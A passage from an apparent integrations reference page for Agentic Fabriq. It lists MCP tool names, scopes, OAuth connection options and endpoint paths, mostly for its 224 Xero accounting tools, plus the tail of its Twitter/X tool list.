/api/v1/tools/twitter/reposts/remove. Scopes: tweet.write. twitter_update_list (write) — Rename or re-describe a list, or change its visibility. Note that switching a list from private to public publishes it and everyone in it; that is reversible by the same action, but the exposure in between is not. POST /api/v1/tools/twitter/lists/update. Scopes: list.write. twitter_upload_media (write) — Upload an image or a subtitle file in ONE call, with no chunking. Images only up to 5 MB, plus .srt and .vtt subtitle files. X's own specification advertises video and GIF on this endpoint and the endpoint rejects them in practice, which is why the chunked path exists — Agentic Fabriq refuses them here locally rather than letting X answer with a billed error that does not say what to do instead. The media argument is the file's bytes, base64-encoded. DM categories, additional_owners and shared are refused. POST /api/v1/tools/twitter/media/upload. Scopes: media.write. ================================================================================ ## Xero URL: https://www.agenticfabriq.com/integrations/xero Section: Integrated Tools Xero — 224 MCP tools Provider key: xero. Scopes: accounting.attachments, accounting.attachments.read, accounting.banktransactions, accounting.banktransactions.read, accounting.budgets.read, accounting.contacts, accounting.contacts.read, accounting.invoices, accounting.invoices.read, accounting.journals.read, accounting.manualjournals, accounting.manualjournals.read, accounting.payments, accounting.payments.read, accounting.reports.aged.read, accounting.reports.balancesheet.read, accounting.reports.banksummary.read, accounting.reports.budgetsummary.read, accounting.reports.executivesummary.read, accounting.reports.profitandloss.read, accounting.reports.taxreports.read, accounting.reports.tenninetynine.read, accounting.reports.trialbalance.read, accounting.settings, accounting.settings.read, accounting.transactions, accounting.transactions.read, assets, assets.read, files, files.read, paymentservices, projects, projects.read. Connect: AF hosted — your end user signs in to their account using Agentic Fabriq's OAuth app (POST /api/v1/apps/{app_id}/external-users/{uid}/oauth/{provider}/initiate, redirect to oauth_url); BYO — your org admin registers the OAuth app, then your end user signs in to their account through it (POST /api/v1/apps/{app_id}/external-users/{uid}/oauth/{provider}/initiate, redirect to oauth_url). Every path is end-user self-service — no admin-entered credential. Branch at runtime on GET /api/v1/apps/{app_id}/external-users/providers/capabilities, on oauth || key_connect — two branches, no third. key_connect means "connect through the credentials initiate", not "the user pastes a key": AF’s hosted page decides what it asks for. link_connect describes that page for your UI copy and is never a routing flag. xero_delete_accounts_by_accountid (write, destructive) — Delete account via DELETE /Accounts/{AccountID} DELETE /api/v1/xero/Accounts/{AccountID}. Scopes: accounting.settings. xero_delete_contactgroups_by_contactgroupid_contacts (write, destructive) — Delete contact group contacts via DELETE /ContactGroups/{ContactGroupID}/Contacts DELETE /api/v1/xero/ContactGroups/{ContactGroupID}/Contacts. Scopes: accounting.contacts. xero_delete_contactgroups_by_contactgroupid_contacts_by_contactid (write, destructive) — Delete contact group contact via DELETE /ContactGroups/{ContactGroupID}/Contacts/{ContactID} DELETE /api/v1/xero/ContactGroups/{ContactGroupID}/Contacts/{ContactID}. Scopes: accounting.contacts. xero_delete_creditnotes_by_creditnoteid_allocations_by_allocationid (write, destructive) — Delete credit note allocations via DELETE /CreditNotes/{CreditNoteID}/Allocations/{AllocationID} DELETE /api/v1/xero/CreditNotes/{CreditNoteID}/Allocations/{AllocationID}. Scopes: accounting.invoices. xero_delete_files_by_fileid (write, destructive) — Delete file via DELETE /Files/{FileId} DELETE /api/v1/xero/Files/{FileId}. Scopes: files. xero_delete_files_by_fileid_associations_by_objectid (write, destructive) — Delete file association via DELETE /Files/{FileId}/Associations/{ObjectId} DELETE /api/v1/xero/Files/{FileId}/Associations/{ObjectId}. Scopes: files. xero_delete_folders_by_folderid (write, destructive) — Delete folder via DELETE /Folders/{FolderId} DELETE /api/v1/xero/Folders/{FolderId}. Scopes: files. xero_delete_items_by_itemid (write, destructive) — Delete item via DELETE /Items/{ItemID} DELETE /api/v1/xero/Items/{ItemID}. Scopes: accounting.settings. xero_delete_linkedtransactions_by_linkedtransactionid (write, destructive) — Delete linked transaction via DELETE /LinkedTransactions/{LinkedTransactionID} DELETE /api/v1/xero/LinkedTransactions/{LinkedTransactionID}. Scopes: accounting.invoices. xero_delete_overpayments_by_overpaymentid_allocations_by_allocationid (write, destructive) — Delete overpayment allocations via DELETE /Overpayments/{OverpaymentID}/Allocations/{AllocationID} DELETE /api/v1/xero/Overpayments/{OverpaymentID}/Allocations/{AllocationID}. Scopes: accounting.payments. xero_delete_prepayments_by_prepaymentid_allocations_by_allocationid (write, destructive) — Delete prepayment allocations via DELETE /Prepayments/{PrepaymentID}/Allocations/{AllocationID} DELETE /api/v1/xero/Prepayments/{PrepaymentID}/Allocations/{AllocationID}. Scopes: accounting.payments. xero_delete_projects_by_projectid_tasks_by_taskid (write, destructive) — Delete task via DELETE /Projects/{projectId}/Tasks/{taskId} DELETE /api/v1/xero/Projects/{projectId}/Tasks/{taskId}. Scopes: projects. xero_delete_projects_by_projectid_time_by_timeentryid (write, destructive) — Delete time entry via DELETE /Projects/{projectId}/Time/{timeEntryId} DELETE /api/v1/xero/Projects/{projectId}/Time/{timeEntryId}. Scopes: projects. xero_delete_trackingcategories_by_trackingcategoryid (write, destructive) — Delete tracking category via DELETE /TrackingCategories/{TrackingCategoryID} DELETE /api/v1/xero/TrackingCategories/{TrackingCategoryID}. Scopes: accounting.settings. xero_delete_trackingcategories_by_trackingcategoryid_options_by_trackingoptionid (write, destructive) — Delete tracking options via DELETE /TrackingCategories/{TrackingCategoryID}/Options/{TrackingOptionID} DELETE /api/v1/xero/TrackingCategories/{TrackingCategoryID}/Options/{TrackingOptionID}. Scopes: accounting.settings. xero_get_accounts (read) — Get accounts via GET /Accounts GET /api/v1/xero/Accounts. Scopes: accounting.settings, accounting.settings.read. xero_get_accounts_by_accountid (read) — Get account via GET /Accounts/{AccountID} GET /api/v1/xero/Accounts/{AccountID}. Scopes: accounting.settings, accounting.settings.read. xero_get_accounts_by_accountid_attachments (read) — Get account attachments via GET /Accounts/{AccountID}/Attachments GET /api/v1/xero/Accounts/{AccountID}/Attachments. Scopes: accounting.attachments, accounting.attachments.read. xero_get_assets (read) — Get assets via GET /Assets GET /api/v1/xero/Assets. Scopes: assets, assets.read. xero_get_assets_by_id (read) — Get asset by id via GET /Assets/{id} GET /api/v1/xero/Assets/{id}. Scopes: assets, assets.read. xero_get_assettypes (read) — Get asset types via GET /AssetTypes GET /api/v1/xero/AssetTypes. Scopes: assets, assets.read. xero_get_associations_by_objectid (read) — Get associations by object via GET /Associations/{ObjectId} GET /api/v1/xero/Associations/{ObjectId}. Scopes: files, files.read. xero_get_associations_count (read) — Get associations count via GET /Associations/Count GET /api/v1/xero/Associations/Count. Scopes: files, files.read. xero_get_banktransactions (read) — Get bank transactions via GET /BankTransactions GET /api/v1/xero/BankTransactions. Scopes: accounting.banktransactions, accounting.banktransactions.read. xero_get_banktransactions_by_banktransactionid (read) — Get bank transaction via GET /BankTransactions/{BankTransactionID} GET /api/v1/xero/BankTransactions/{BankTransactionID}. Scopes: accounting.banktransactions, accounting.banktransactions.read. xero_get_banktransactions_by_banktransactionid_attachments (read) — Get bank transaction attachments via GET /BankTransactions/{BankTransactionID}/Attachments GET /api/v1/xero/BankTransactions/{BankTransactionID}/Attachments. Scopes: accounting.attachments, accounting.attachments.read. xero_get_banktransactions_by_banktransactionid_history (read) — Get bank transactions history via GET /BankTransactions/{BankTransactionID}/History GET /api/v1/xero/BankTransactions/{BankTransactionID}/History. Scopes: accounting.banktransactions, accounting.banktransactions.read. xero_get_banktransfers (read) — Get bank transfers via GET /BankTransfers GET /api/v1/xero/BankTransfers. Scopes: accounting.banktransactions, accounting.banktransactions.read. xero_get_banktransfers_by_banktransferid (read) — Get bank transfer via GET /BankTransfers/{BankTransferID} GET /api/v1/xero/BankTransfers/{BankTransferID}. Scopes: accounting.banktransactions, accounting.banktransactions.read. xero_get_banktransfers_by_banktransferid_attachments (read) — Get bank transfer attachments via GET /BankTransfers/{BankTransferID}/Attachments GET /api/v1/xero/BankTransfers/{BankTransferID}/Attachments. Scopes: accounting.attachments, accounting.attachments.read. xero_get_banktransfers_by_banktransferid_history (read) — Get bank transfer history via GET /BankTransfers/{BankTransferID}/History GET /api/v1/xero/BankTransfers/{BankTransferID}/History. Scopes: accounting.banktransactions, accounting.banktransactions.read. xero_get_batchpayments (read) — Get batch payments via GET /BatchPayments GET /api/v1/xero/BatchPayments. Scopes: accounting.payments, accounting.payments.read. xero_get_batchpayments_by_batchpaymentid (read) — Get batch payment via GET /BatchPayments/{BatchPaymentID} GET /api/v1/xero/BatchPayments/{BatchPaymentID}. Scopes: accounting.payments, accounting.payments.read. xero_get_batchpayments_by_batchpaymentid_history (read) — Get batch payment history via GET /BatchPayments/{BatchPaymentID}/History GET /api/v1/xero/BatchPayments/{BatchPaymentID}/History. Scopes: accounting.payments, accounting.payments.read. xero_get_brandingthemes (read) — Get branding themes via GET /BrandingThemes GET /api/v1/xero/BrandingThemes. Scopes: accounting.settings, accounting.settings.read. xero_get_brandingthemes_by_brandingthemeid (read) — Get branding theme via GET /BrandingThemes/{BrandingThemeID} GET /api/v1/xero/BrandingThemes/{BrandingThemeID}. Scopes: accounting.settings, accounting.settings.read. xero_get_brandingthemes_by_brandingthemeid_paymentservices (read) — Get branding theme payment services via GET /BrandingThemes/{BrandingThemeID}/PaymentServices GET /api/v1/xero/BrandingThemes/{BrandingThemeID}/PaymentServices. Scopes: paymentservices. xero_get_budgets (read) — Get budgets via GET /Budgets GET /api/v1/xero/Budgets. Scopes: accounting.budgets.read. xero_get_budgets_by_budgetid (read) — Get budget via GET /Budgets/{BudgetID} GET /api/v1/xero/Budgets/{BudgetID}. Scopes: accounting.budgets.read. xero_get_contactgroups (read) — Get contact groups via GET /ContactGroups GET /api/v1/xero/ContactGroups. Scopes: accounting.contacts, accounting.contacts.read. xero_get_contactgroups_by_contactgroupid (read) — Get contact group via GET /ContactGroups/{ContactGroupID} GET /api/v1/xero/ContactGroups/{ContactGroupID}. Scopes: accounting.contacts, accounting.contacts.read. xero_get_contacts (read) — Get contacts via GET /Contacts GET /api/v1/xero/Contacts. Scopes: accounting.contacts, accounting.contacts.read. xero_get_contacts_by_contactid (read) — Get contact via GET /Contacts/{ContactID} GET /api/v1/xero/Contacts/{ContactID}. Scopes: accounting.contacts, accounting.contacts.read. xero_get_contacts_by_contactid_attachments (read) — Get contact attachments via GET /Contacts/{ContactID}/Attachments GET /api/v1/xero/Contacts/{ContactID}/Attachments. Scopes: accounting.attachments, accounting.attachments.read. xero_get_contacts_by_contactid_cissettings (read) — Get contact cis settings via GET /Contacts/{ContactID}/CISSettings GET /api/v1/xero/Contacts/{ContactID}/CISSettings. Scopes: accounting.settings, accounting.settings.read. xero_get_contacts_by_contactid_history (read) — Get contact history via GET /Contacts/{ContactID}/History GET /api/v1/xero/Contacts/{ContactID}/History. Scopes: accounting.contacts, accounting.contacts.read. xero_get_contacts_by_contactnumber (read) — Get contact by contact number via GET /Contacts/{ContactNumber} GET /api/v1/xero/Contacts/{ContactNumber}. Scopes: accounting.contacts, accounting.contacts.read. xero_get_creditnotes (read) — Get credit notes via GET /CreditNotes GET /api/v1/xero/CreditNotes. Scopes: accounting.invoices, accounting.invoices.read. xero_get_creditnotes_by_creditnoteid (read) — Get credit note via GET /CreditNotes/{CreditNoteID} GET /api/v1/xero/CreditNotes/{CreditNoteID}. Scopes: accounting.invoices, accounting.invoices.read. xero_get_creditnotes_by_creditnoteid_attachments (read) — Get credit note attachments via GET /CreditNotes/{CreditNoteID}/Attachments GET /api/v1/xero/CreditNotes/{CreditNoteID}/Attachments. Scopes: accounting.attachments, accounting.attachments.read. xero_get_creditnotes_by_creditnoteid_history (read) — Get credit note history via GET /CreditNotes/{CreditNoteID}/History GET /api/v1/xero/CreditNotes/{CreditNoteID}/History. Scopes: accounting.invoices, accounting.invoices.read. xero_get_currencies (read) — Get currencies via GET /Currencies GET /api/v1/xero/Currencies. Scopes: accounting.settings, accounting.settings.read. xero_get_expenseclaims (read) — Get expense claims via GET /ExpenseClaims GET /api/v1/xero/ExpenseClaims. Scopes: accounting.transactions, accounting.transactions.read. xero_get_expenseclaims_by_expenseclaimid (read) — Get expense claim via GET /ExpenseClaims/{ExpenseClaimID} GET /api/v1/xero/ExpenseClaims/{ExpenseClaimID}. Scopes: accounting.transactions, accounting.transactions.read. xero_get_expenseclaims_by_expenseclaimid_history (read) — Get expense claim history via GET /ExpenseClaims/{ExpenseClaimID}/History GET /api/v1/xero/ExpenseClaims/{ExpenseClaimID}/History. Scopes: accounting.transactions, accounting.transactions.read. xero_get_files (read) — Get files via GET /Files GET /api/v1/xero/Files. Scopes: files, files.read. xero_get_files_by_fileid (read) — Get file via GET /Files/{FileId} GET /api/v1/xero/Files/{FileId}. Scopes: files, files.read. xero_get_files_by_fileid_associations (read) — Get file associations via GET /Files/{FileId}/Associations GET /api/v1/xero/Files/{FileId}/Associations. Scopes: files, files.read. xero_get_folders (read) — Get folders via GET /Folders GET /api/v1/xero/Folders. Scopes: files, files.read. xero_get_folders_by_folderid (read) — Get folder via GET /Folders/{FolderId} GET /api/v1/xero/Folders/{FolderId}. Scopes: files, files.read. xero_get_inbox (read) — Get inbox via GET /Inbox GET /api/v1/xero/Inbox. Scopes: files, files.read. xero_get_invoicereminders_settings (read) — Get invoice reminders via GET /InvoiceReminders/Settings GET /api/v1/xero/InvoiceReminders/Settings. Scopes: accounting.settings, accounting.settings.read. xero_get_invoices (read) — Get invoices via GET /Invoices GET /api/v1/xero/Invoices. Scopes: accounting.invoices, accounting.invoices.read. xero_get_invoices_by_invoiceid (read) — Get invoice via GET /Invoices/{InvoiceID} GET /api/v1/xero/Invoices/{InvoiceID}. Scopes: accounting.invoices, accounting.invoices.read. xero_get_invoices_by_invoiceid_attachments (read) — Get invoice attachments via GET /Invoices/{InvoiceID}/Attachments GET /api/v1/xero/Invoices/{InvoiceID}/Attachments. Scopes: accounting.attachments, accounting.attachments.read. xero_get_invoices_by_invoiceid_history (read) — Get invoice history via GET /Invoices/{InvoiceID}/History GET /api/v1/xero/Invoices/{InvoiceID}/History. Scopes: accounting.invoices, accounting.invoices.read. xero_get_invoices_by_invoiceid_onlineinvoice (read) — Get online invoice via GET /Invoices/{InvoiceID}/OnlineInvoice GET /api/v1/xero/Invoices/{InvoiceID}/OnlineInvoice. Scopes: accounting.invoices, accounting.invoices.read. xero_get_items (read) — Get items via GET /Items GET /api/v1/xero/Items. Scopes: accounting.settings, accounting.settings.read. xero_get_items_by_itemid (read) — Get item via GET /Items/{ItemID} GET /api/v1/xero/Items/{ItemID}. Scopes: accounting.settings, accounting.settings.read. xero_get_items_by_itemid_history (read) — Get item history via GET /Items/{ItemID}/History GET /api/v1/xero/Items/{ItemID}/History. Scopes: accounting.settings, accounting.settings.read. xero_get_journals (read) — Get journals via GET /Journals GET /api/v1/xero/Journals. Scopes: accounting.journals.read. xero_get_journals_by_journalid (read) — Get journal via GET /Journals/{JournalID} GET /api/v1/xero/Journals/{JournalID}. Scopes: accounting.journals.read. xero_get_journals_by_journalnumber (read) — Get journal by number via GET /Journals/{JournalNumber} GET /api/v1/xero/Journals/{JournalNumber}. Scopes: accounting.journals.read. xero_get_linkedtransactions (read) — Get linked transactions via GET /LinkedTransactions GET /api/v1/xero/LinkedTransactions. Scopes: accounting.invoices, accounting.invoices.read. xero_get_linkedtransactions_by_linkedtransactionid (read) — Get linked transaction via GET /LinkedTransactions/{LinkedTransactionID} GET /api/v1/xero/LinkedTransactions/{LinkedTransactionID}. Scopes: accounting.invoices, accounting.invoices.read. xero_get_manualjournals (read) — Get manual journals via GET /ManualJournals GET /api/v1/xero/ManualJournals. Scopes: accounting.manualjournals, accounting.manualjournals.read. xero_get_manualjournals_by_manualjournalid (read) — Get manual journal via GET /ManualJournals/{ManualJournalID} GET /api/v1/xero/ManualJournals/{ManualJournalID}. Scopes: accounting.manualjournals, accounting.manualjournals.read. xero_get_manualjournals_by_manualjournalid_attachments (read) — Get manual journal attachments via GET /ManualJournals/{ManualJournalID}/Attachments GET /api/v1/xero/ManualJournals/{ManualJournalID}/Attachments. Scopes: accounting.attachments, accounting.attachments.read. xero_get_manualjournals_by_manualjournalid_history (read) — Get manual journals history via GET /ManualJournals/{ManualJournalID}/History GET /api/v1/xero/ManualJournals/{ManualJournalID}/History. Scopes: accounting.manualjournals, accounting.manualjournals.read. xero_get_organisation (read) — Get organisations via GET /Organisation GET /api/v1/xero/Organisation. Scopes: accounting.settings, accounting.settings.read. xero_get_organisation_actions (read) — Get organisation actions via GET /Organisation/Actions GET /api/v1/xero/Organisation/Actions. Scopes: accounting.settings, accounting.settings.read. xero_get_organisation_by_organisationid_cissettings (read) — Get organisation cis settings via GET /Organisation/{OrganisationID}/CISSettings GET /api/v1/xero/Organisation/{OrganisationID}/CISSettings. Scopes: accounting.settings, accounting.settings.read. xero_get_overpayments (read) — Get overpayments via GET /Overpayments GET /api/v1/xero/Overpayments. Scopes: accounting.payments, accounting.payments.read. xero_get_overpayments_by_overpaymentid (read) — Get overpayment via GET /Overpayments/{OverpaymentID} GET /api/v1/xero/Overpayments/{OverpaymentID}. Scopes: accounting.payments, accounting.payments.read. xero_get_overpayments_by_overpaymentid_history (read) — Get overpayment history via GET /Overpayments/{OverpaymentID}/History GET /api/v1/xero/Overpayments/{OverpaymentID}/History. Scopes: accounting.payments, accounting.payments.read. xero_get_payments (read) — Get payments via GET /Payments GET /api/v1/xero/Payments. Scopes: accounting.payments, accounting.payments.read. xero_get_payments_by_paymentid (read) — Get payment via GET /Payments/{PaymentID} GET /api/v1/xero/Payments/{PaymentID}. Scopes: accounting.payments, accounting.payments.read. xero_get_payments_by_paymentid_history (read) — Get payment history via GET /Payments/{PaymentID}/History GET /api/v1/xero/Payments/{PaymentID}/History. Scopes: accounting.payments, accounting.payments.read. xero_get_paymentservices (read) — Get payment services via GET /PaymentServices GET /api/v1/xero/PaymentServices. Scopes: paymentservices. xero_get_prepayments (read) — Get prepayments via GET /Prepayments GET /api/v1/xero/Prepayments. Scopes: accounting.payments, accounting.payments.read. xero_get_prepayments_by_prepaymentid (read) — Get prepayment via GET /Prepayments/{PrepaymentID} GET /api/v1/xero/Prepayments/{PrepaymentID}. Scopes: accounting.payments, accounting.payments.read. xero_get_prepayments_by_prepaymentid_history (read) — Get prepayment history via GET /Prepayments/{PrepaymentID}/History GET /api/v1/xero/Prepayments/{PrepaymentID}/History. Scopes: accounting.payments, accounting.payments.read. xero_get_projects (read) — Get projects via GET /Projects GET /api/v1/xero/Projects. Scopes: projects, projects.read. xero_get_projects_by_projectid (read) — Get project via GET /Projects/{projectId} GET /api/v1/xero/Projects/{projectId}. Scopes: projects, projects.read. xero_get_projects_by_projectid_tasks (read) — Get tasks via GET /Projects/{projectId}/Tasks GET /api/v1/xero/Projects/{projectId}/Tasks. Scopes: projects, projects.read. xero_get_projects_by_projectid_tasks_by_taskid (read) — Get task via GET /Projects/{projectId}/Tasks/{taskId} GET /api/v1/xero/Projects/{projectId}/Tasks/{taskId}. Scopes: projects, projects.read. xero_get_projects_by_projectid_time (read) — Get time entries via GET /Projects/{projectId}/Time GET /api/v1/xero/Projects/{projectId}/Time. Scopes: projects, projects.read. xero_get_projects_by_projectid_time_by_timeentryid (read) — Get time entry via GET /Projects/{projectId}/Time/{timeEntryId} GET /api/v1/xero/Projects/{projectId}/Time/{timeEntryId}. Scopes: projects, projects.read. xero_get_projectsusers (read) — Get project users via GET /ProjectsUsers GET /api/v1/xero/ProjectsUsers. Scopes: projects, projects.read. xero_get_purchaseorders (read) — Get purchase orders via GET /PurchaseOrders GET /api/v1/xero/PurchaseOrders. Scopes: accounting.invoices, accounting.invoices.read. xero_get_purchaseorders_by_purchaseorderid (read) — Get purchase order via GET /PurchaseOrders/{PurchaseOrderID} GET /api/v1/xero/PurchaseOrders/{PurchaseOrderID}. Scopes: accounting.invoices, accounting.invoices.read. xero_get_purchaseorders_by_purchaseorderid_attachments (read) — Get purchase order attachments via GET /PurchaseOrders/{PurchaseOrderID}/Attachments GET /api/v1/xero/PurchaseOrders/{PurchaseOrderID}/Attachments. Scopes: accounting.attachments, accounting.attachments.read. xero_get_purchaseorders_by_purchaseorderid_history (read) — Get purchase order history via GET /PurchaseOrders/{PurchaseOrderID}/History GET /api/v1/xero/PurchaseOrders/{PurchaseOrderID}/History. Scopes: accounting.invoices, accounting.invoices.read. xero_get_purchaseorders_by_purchaseordernumber (read) — Get purchase order by number via GET /PurchaseOrders/{PurchaseOrderNumber} GET /api/v1/xero/PurchaseOrders/{PurchaseOrderNumber}. Scopes: accounting.invoices, accounting.invoices.read. xero_get_quotes (read) — Get quotes via GET /Quotes GET /api/v1/xero/Quotes. Scopes: accounting.invoices, accounting.invoices.read. xero_get_quotes_by_quoteid (read) — Get quote via GET /Quotes/{QuoteID} GET /api/v1/xero/Quotes/{QuoteID}. Scopes: accounting.invoices, accounting.invoices.read. xero_get_quotes_by_quoteid_attachments (read) — Get quote attachments via GET /Quotes/{QuoteID}/Attachments GET /api/v1/xero/Quotes/{QuoteID}/Attachments. Scopes: accounting.attachments, accounting.attachments.read. xero_get_quotes_by_quoteid_history (read) — Get quote history via GET /Quotes/{QuoteID}/History GET /api/v1/xero/Quotes/{QuoteID}/History. Scopes: accounting.invoices, accounting.invoices.read. xero_get_receipts (read) — Get receipts via GET /Receipts GET /api/v1/xero/Receipts. Scopes: accounting.transactions, accounting.transactions.read. xero_get_receipts_by_receiptid (read) — Get receipt via GET /Receipts/{ReceiptID} GET /api/v1/xero/Receipts/{ReceiptID}. Scopes: accounting.transactions, accounting.transactions.read. xero_get_receipts_by_receiptid_attachments (read) — Get receipt attachments via GET /Receipts/{ReceiptID}/Attachments GET /api/v1/xero/Receipts/{ReceiptID}/Attachments. Scopes: accounting.attachments, accounting.attachments.read. xero_get_receipts_by_receiptid_history (read) — Get receipt history via GET /Receipts/{ReceiptID}/History GET /api/v1/xero/Receipts/{ReceiptID}/History. Scopes: accounting.transactions, accounting.transactions.read. xero_get_repeatinginvoices (read) — Get repeating invoices via GET /RepeatingInvoices GET /api/v1/xero/RepeatingInvoices. Scopes: accounting.invoices, accounting.invoices.read. xero_get_repeatinginvoices_by_repeatinginvoiceid (read) — Get repeating invoice via GET /RepeatingInvoices/{RepeatingInvoiceID} GET /api/v1/xero/RepeatingInvoices/{RepeatingInvoiceID}. Scopes: accounting.invoices, accounting.invoices.read. xero_get_repeatinginvoices_by_repeatinginvoiceid_attachments (read) — Get repeating invoice attachments via GET /RepeatingInvoices/{RepeatingInvoiceID}/Attachments GET /api/v1/xero/RepeatingInvoices/{RepeatingInvoiceID}/Attachments. Scopes: accounting.attachments, accounting.attachments.read. xero_get_repeatinginvoices_by_repeatinginvoiceid_history (read) — Get repeating invoice history via GET /RepeatingInvoices/{RepeatingInvoiceID}/History GET /api/v1/xero/RepeatingInvoices/{RepeatingInvoiceID}/History. Scopes: accounting.invoices, accounting.invoices.read. xero_get_reports (read) — Get reports list via GET /Reports GET /api/v1/xero/Reports. Scopes: accounting.reports.aged.read, accounting.reports.balancesheet.read, accounting.reports.banksummary.read, accounting.reports.budgetsummary.read, accounting.reports.executivesummary.read, accounting.reports.profitandloss.read, accounting.reports.taxreports.read, accounting.reports.tenninetynine.read, accounting.reports.trialbalance.read. xero_get_reports_agedpayablesbycontact (read) — Get report aged payables by contact via GET /Reports/AgedPayablesByContact GET /api/v1/xero/Reports/AgedPayablesByContact. Scopes: accounting.reports.aged.read. xero_get_reports_agedreceivablesbycontact (read) — Get report aged receivables by contact via GET /Reports/AgedReceivablesByContact GET /api/v1/xero/Reports/AgedReceivablesByContact. Scopes: accounting.reports.aged.read. xero_get_reports_balancesheet (read) — Get report balance sheet via GET /Reports/BalanceSheet GET /api/v1/xero/Reports/BalanceSheet. Scopes: accounting.reports.balancesheet.read. xero_get_reports_banksummary (read) — Get report bank summary via GET /Reports/BankSummary GET /api/v1/xero/Reports/BankSummary. Scopes: accounting.reports.banksummary.read. xero_get_reports_budgetsummary (read) — Get report budget summary via GET /Reports/BudgetSummary GET /api/v1/xero/Reports/BudgetSummary. Scopes: accounting.reports.budgetsummary.read. xero_get_reports_by_reportid (read) — Get report from id via GET /Reports/{ReportID} GET /api/v1/xero/Reports/{ReportID}. Scopes: accounting.reports.aged.read, accounting.reports.balancesheet.read, accounting.reports.banksummary.read, accounting.reports.budgetsummary.read, accounting.reports.executivesummary.read, accounting.reports.profitandloss.read, accounting.reports.taxreports.read, accounting.reports.tenninetynine.read, accounting.reports.trialbalance.read. xero_get_reports_executivesummary (read) — Get report executive summary via GET /Reports/ExecutiveSummary GET /api/v1/xero/Reports/ExecutiveSummary. Scopes: accounting.reports.executivesummary.read. xero_get_reports_profitandloss (read) — Get report profit and loss via GET /Reports/ProfitAndLoss GET /api/v1/xero/Reports/ProfitAndLoss. Scopes: accounting.reports.profitandloss.read. xero_get_reports_tenninetynine (read) — Get report ten ninety nine via GET /Reports/TenNinetyNine GET /api/v1/xero/Reports/TenNinetyNine. Scopes: accounting.reports.tenninetynine.read. xero_get_reports_trialbalance (read) — Get report trial balance via GET /Reports/TrialBalance GET /api/v1/xero/Reports/TrialBalance. Scopes: accounting.reports.trialbalance.read. xero_get_settings (read) — Get asset settings via GET /Settings GET /api/v1/xero/Settings. Scopes: assets, assets.read. xero_get_taxrates (read) — Get tax rates via GET /TaxRates GET /api/v1/xero/TaxRates. Scopes: accounting.settings, accounting.settings.read. xero_get_taxrates_by_taxtype (read) — Get tax rate by tax type via GET /TaxRates/{TaxType} GET /api/v1/xero/TaxRates/{TaxType}. Scopes: accounting.settings, accounting.settings.read. xero_get_trackingcategories (read) — Get tracking categories via GET /TrackingCategories GET /api/v1/xero/TrackingCategories. Scopes: accounting.settings, accounting.settings.read. xero_get_trackingcategories_by_trackingcategoryid (read) — Get tracking category via GET /TrackingCategories/{TrackingCategoryID} GET /api/v1/xero/TrackingCategories/{TrackingCategoryID}. Scopes: accounting.settings, accounting.settings.read. xero_get_users (read) — Get users via GET /Users GET /api/v1/xero/Users. Scopes: accounting.settings, accounting.settings.read. xero_get_users_by_userid (read) — Get user via GET /Users/{UserID} GET /api/v1/xero/Users/{UserID}. Scopes: accounting.settings, accounting.settings.read. xero_patch_projects_by_projectid (write) — Patch project via PATCH /Projects/{projectId} PATCH /api/v1/xero/Projects/{projectId}. Scopes: projects. xero_post_accounts_by_accountid (write) — Update account via POST /Accounts/{AccountID} POST /api/v1/xero/Accounts/{AccountID}. Scopes: accounting.settings. xero_post_assets (write) — Create asset via POST /Assets POST /api/v1/xero/Assets. Scopes: assets. xero_post_assettypes (write) — Create asset type via POST /AssetTypes POST /api/v1/xero/AssetTypes. Scopes: assets. xero_post_banktransactions (write) — Update or create bank transactions via POST /BankTransactions POST /api/v1/xero/BankTransactions. Scopes: accounting.banktransactions. xero_post_banktransactions_by_banktransactionid (write) — Update bank transaction via POST /BankTransactions/{BankTransactionID} POST /api/v1/xero/BankTransactions/{BankTransactionID}. Scopes: accounting.banktransactions. xero_post_banktransfers (write) — Delete bank transfers via POST /BankTransfers POST /api/v1/xero/BankTransfers. Scopes: accounting.banktransactions. xero_post_banktransfers_by_banktransferid (write) — Delete bank transfer via POST /BankTransfers/{BankTransferID} POST /api/v1/xero/BankTransfers/{BankTransferID}. Scopes: accounting.banktransactions. xero_post_batchpayments (write) — Delete batch payment via POST /BatchPayments POST /api/v1/xero/BatchPayments. Scopes: accounting.payments. xero_post_batchpayments_by_batchpaymentid (write) — Delete batch payment by url param via POST /BatchPayments/{BatchPaymentID} POST /api/v1/xero/BatchPayments/{BatchPaymentID}. Scopes: accounting.payments. xero_post_brandingthemes_by_brandingthemeid_paymentservices (write) — Create branding theme payment services via POST /BrandingThemes/{BrandingThemeID}/PaymentServices POST /api/v1/xero/BrandingThemes/{BrandingThemeID}/PaymentServices. Scopes: paymentservices. xero_post_contactgroups_by_contactgroupid (write) — Update contact group via POST /ContactGroups/{ContactGroupID} POST /api/v1/xero/ContactGroups/{ContactGroupID}. Scopes: accounting.contacts. xero_post_contacts (write) — Update or create contacts via POST /Contacts POST /api/v1/xero/Contacts. Scopes: accounting.contacts. xero_post_contacts_by_contactid (write) — Update contact via POST /Contacts/{ContactID} POST /api/v1/xero/Contacts/{ContactID}. Scopes: accounting.contacts. xero_post_creditnotes (write) — Update or create credit notes via POST /CreditNotes POST /api/v1/xero/CreditNotes. Scopes: accounting.invoices. xero_post_creditnotes_by_creditnoteid (write) — Update credit note via POST /CreditNotes/{CreditNoteID} POST /api/v1/xero/CreditNotes/{CreditNoteID}. Scopes: accounting.invoices. xero_post_expenseclaims_by_expenseclaimid (write) — Update expense claim via POST /ExpenseClaims/{ExpenseClaimID} POST /api/v1/xero/ExpenseClaims/{ExpenseClaimID}. Scopes: accounting.transactions. xero_post_files_by_fileid_associations (write) — Create file association via POST /Files/{FileId}/Associations POST /api/v1/xero/Files/{FileId}/Associations. Scopes: files. xero_post_folders (write) — Create folder via POST /Folders POST /api/v1/xero/Folders. Scopes: files. xero_post_invoices (write) — Update or create invoices via POST /Invoices POST /api/v1/xero/Invoices. Scopes: accounting.invoices. xero_post_invoices_by_invoiceid (write) — Update invoice via POST /Invoices/{InvoiceID} POST /api/v1/xero/Invoices/{InvoiceID}. Scopes: accounting.invoices. xero_post_invoices_by_invoiceid_email (write) — Email invoice via POST /Invoices/{InvoiceID}/Email POST /api/v1/xero/Invoices/{InvoiceID}/Email. Scopes: accounting.invoices. xero_post_items (write) — Update or create items via POST /Items POST /api/v1/xero/Items. Scopes: accounting.settings. xero_post_items_by_itemid (write) — Update item via POST /Items/{ItemID} POST /api/v1/xero/Items/{ItemID}. Scopes: accounting.settings. xero_post_linkedtransactions_by_linkedtransactionid (write) — Update linked transaction via POST /LinkedTransactions/{LinkedTransactionID} POST /api/v1/xero/LinkedTransactions/{LinkedTransactionID}. Scopes: accounting.invoices. xero_post_manualjournals (write) — Update or create manual journals via POST /ManualJournals POST 